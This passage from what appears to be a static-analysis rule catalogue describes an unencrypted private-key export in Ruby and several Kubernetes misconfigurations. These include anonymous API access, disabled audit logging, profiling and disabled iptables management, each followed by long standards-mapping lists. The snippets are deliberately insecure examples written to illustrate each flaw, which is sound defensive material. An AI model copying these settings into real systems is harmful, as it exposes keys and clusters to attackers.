[43] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001820 CAT I, APSC-DV-002010 CAT II, APSC-DV-003100 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001820 CAT I, APSC-DV-002010 CAT II, APSC-DV-003100 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001820 CAT I, APSC-DV-002010 CAT II, APSC-DV-003100 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.python.key_management_unencrypted_private_key
Abstract
Cryptographic encryption or signing private keys should not be stored in plain text.
Explanation
Private keys used for encryption or signing should be considered sensitive data and should be encrypted with a strong passphrase prior to storage. This prevents unauthorized access by both attackers in the event of theft or a leak, as well as by users with insufficient permissions.

Example 1: The following code exports an RSA private key using an unencrypted PEM format:


require 'openssl'

key = OpenSSL::PKey::RSA.new 2048
File.open('mykey.pem', 'w') do |file|
  file.write(key.to_pem)
end
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 311
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000201, CCI-002450
[3] Standards Mapping - FIPS200 IA
[4] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[7] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3)
[8] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[9] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[10] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[14] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.5.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.3.2, Requirement 3.3.3, Requirement 3.5.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[27] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[28] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[29] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001820 CAT I, APSC-DV-002010 CAT II, APSC-DV-003100 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001820 CAT I, APSC-DV-002010 CAT II, APSC-DV-003100 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001820 CAT I, APSC-DV-002010 CAT II, APSC-DV-003100 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.ruby.key_management_unencrypted_private_key

Kubernetes Misconfiguration: API Server Anonymous Access

Abstract
A Kubernetes API server accepts anonymous requests.
Explanation
Kubernetes API servers accept anonymous requests by default if the requests are not rejected by other configured authentication methods. Because an API server is the central management entity of a cluster, attackers can use anonymous requests to gain access to insufficiently protected and security sensitive service APIs.

Example 1: The following configuration starts a Kubernetes API server and permits anonymous requests by setting the --anonymous-auth=true flag.

...
spec:
  containers:
    - command:
      - kube-apiserver
...
      - --anonymous-auth=true
...
References
[1] Kubernetes API Access Control The Kubernetes Authors
[2] Standards Mapping - Common Weakness Enumeration CWE ID 284
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [18] CWE ID 522
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [18] CWE ID 862
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [16] CWE ID 862
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-001084, CCI-002165
[7] Standards Mapping - FIPS200 AC
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1), SC-3 Security Function Isolation (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement, SC-3 Security Function Isolation
[11] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements (L2 L3), 1.4.4 Access Control Architectural Requirements (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[14] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[15] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[16] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[17] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[18] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[19] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[32] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[33] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[34] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 676
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
[59] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
desc.structural.yaml.kubernetes_misconfiguration_api_server_anonymous_access

Kubernetes Misconfiguration: API Server Logging Disabled

Abstract
A Kubernetes API server does not save audit events to a log file.
Explanation
A Kubernetes API server writes audit events to standard output by default. The audit events should be logged to persistent storage. The audit events contain valuable data used to identify security incidents, monitor policy violations, and assist with non-repudiation controls.

Example 1: The following configuration starts a Kubernetes API server without the --audit-log-path flag.

...
spec:
  containers:
  - command:
    - kube-apiserver
    - --authorization-mode=RBAC
  image: example.domain/kube-apiserver-amd64:v1.6.0
...
References
[1] Audit Policy The Kubernetes Authors
[2] Standards Mapping - CIS Kubernetes Benchmark Recommendation 1.2.18
[3] Standards Mapping - Common Weakness Enumeration CWE ID 778
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000172
[5] Standards Mapping - FIPS200 CM
[6] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-12 Audit Generation (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-12 Audit Record Generation
[9] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 7.1.3 Log Content Requirements (L2 L3), 7.1.4 Log Content Requirements (L2 L3), 7.2.1 Log Processing Requirements (L2 L3), 7.2.2 Log Processing Requirements (L2 L3)
[11] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[12] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[13] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[15] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration, A10 Insufficient Logging and Monitoring
[16] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10, Requirement 10.2.1, Requirement 10.2.4, Requirement 10.3.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 10.2.1, Requirement 10.2.4, Requirement 10.3.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 10.2.1, Requirement 10.2.4, Requirement 10.3.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 10.2.1, Requirement 10.2.4, Requirement 10.3.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 10.2.1, Requirement 10.2.4, Requirement 10.3.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 10.2.1, Requirement 10.2.4, Requirement 10.3.4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 10.2.1, Requirement 10.2.4, Requirement 10.3.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 10.2.1, Requirement 10.2.1.4, Requirement 10.2.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 10.2.1, Requirement 10.2.1.4, Requirement 10.2.2
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 8.2 - Activity Tracking
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 8.2 - Activity Tracking
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 8.2 - Activity Tracking
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3680.4 CAT II, APP3680.5 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3680.4 CAT II, APP3680.5 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3680.4 CAT II, APP3680.5 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3680.4 CAT II, APP3680.5 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3680.4 CAT II, APP3680.5 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3680.4 CAT II, APP3680.5 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3680.4 CAT II, APP3680.5 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000830 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000830 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000830 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000830 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000830 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000830 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000830 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000830 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000830 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000830 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000830 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000830 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000830 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000830 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-000830 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-000830 CAT II
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
desc.structural.yaml.kubernetes_misconfiguration_api_server_logging_disabled

Kubernetes Misconfiguration: API Server Profiling

Abstract
A Kubernetes component leaks system information.
Explanation
If profiling is enabled, a component provides performance metrics through a web interface. The performance metrics reveal system data that help an adversary form a plan of attack. Either the --profiling flag is not present in the command to start the component or the flag is set to true.
References
[1] Kubernetes Components The Kubernetes Authors
[2] Kubernetes API Server The Kubernetes Authors
[3] Kubernetes controller manager The Kubernetes Authors
[4] Standards Mapping - CIS Kubernetes Benchmark Recommendation 1.2.17
[5] Standards Mapping - Common Weakness Enumeration CWE ID 215, CWE ID 489, CWE ID 497
[6] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[7] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[8] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [17] CWE ID 200
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001312, CCI-001314, CCI-002420
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1), SC-8 Transmission Confidentiality and Integrity (P1), SI-11 Error Handling (P2)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement, SC-8 Transmission Confidentiality and Integrity, SI-11 Error Handling
[14] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.3.4 Sensitive Private Data (L1 L2 L3), 14.3.2 Unintended Security Disclosure Requirements (L1 L2 L3), 14.3.3 Unintended Security Disclosure Requirements (L1 L2 L3), 14.2.2 Dependency (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[17] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[18] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[19] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.6 - Sensitive Data Retention
[31] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[54] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.yaml.kubernetes_misconfiguration_api_server_profiling.base

Kubernetes Misconfiguration: Automated iptables Management Disabled

Abstract
The Kubelet configuration prevents the Kubelet from configuring iptables.
Explanation
By default, Kubelets automatically make the required changes to iptables based on the networking options in Pod configurations. Setting makeIPTablesUtilChains to enabled:false in a Kubelet configuration prevents the Kubelet from managing network traffic between containers and the rest of the world. This prevents the Kubelet from enforcing the necessary network security requirements and setting up the connectivity requested by containers.

Example 1: The following Kubelet configuration prevents a Kubelet from making the required changes to iptables because of the setting makeIPTablesUtilChains: false.

apiVersion: kubelet.config.k8s.io/v1beta1
kind: KubeletConfiguration
makeIPTablesUtilChains: false
References
[1] Set Kubelet parameters via a config file The Kubernetes Authors
[2] Kubelet The Kubernetes Authors
[3] Standards Mapping - CIS Kubernetes Benchmark Recommendation 4.2.6
[4] Standards Mapping - Common Weakness Enumeration CWE ID 284
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[6] Standards Mapping - FIPS200 CM
[7] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1), CM-6 Configuration Settings (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement, CM-6 Configuration Settings
[10] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.3 Access Control Architectural Requirements (L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[13] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[14] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[15] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[16] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[17] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
